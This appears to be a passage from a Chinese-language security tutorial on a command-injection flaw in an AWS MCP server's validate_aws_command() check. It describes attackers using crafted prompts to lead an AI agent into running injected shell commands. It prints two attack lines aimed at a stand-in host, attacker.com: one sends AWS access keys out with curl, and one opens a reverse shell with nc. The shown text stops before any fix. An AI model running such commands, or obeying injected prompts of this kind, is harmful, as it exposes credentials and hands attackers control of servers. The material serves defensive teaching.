作为AI开发者,你是否曾因系统漏洞导致AI代理被恶意操控?本文将带你深入剖析AWS MCP服务器的命令注入漏洞,从漏洞原理到实战修复,手把手教你筑牢安全防线,避免成为黑客的“肉鸡”。
一、漏洞概述:AWS MCP服务器的致命弱点 AWS MCP(Model Context Protocol)服务器是连接AI模型与外部工具的核心组件,允许通过CLI(命令行接口)执行AWS CLI命令。然而,其validate_aws_command()函数存在严重缺陷:
二、漏洞利用:攻击者如何“黑”你的AI 攻击场景1:窃取AWS密钥 攻击者构造恶意提示,诱导AI执行命令:
aws configure list-profiles; curl http://attacker.com?key=$(aws configure get aws_access_key_id)
- 步骤解析:
- aws configure list-profiles:触发合法命令,绕过首字符检查。
- ;:分号注入,执行第二条命令。
- curl:将AWS密钥发送到攻击者的服务器。 攻击场景2:系统级破坏 通过管道符|注入恶意命令:
aws ec2 describe-instances | nc attacker.com 4444 -e /bin/bash
- 后果:
- nc建立反向Shell连接,攻击者直接控制服务器。
- 删除关键文件、篡改配置,导致服务瘫痪。
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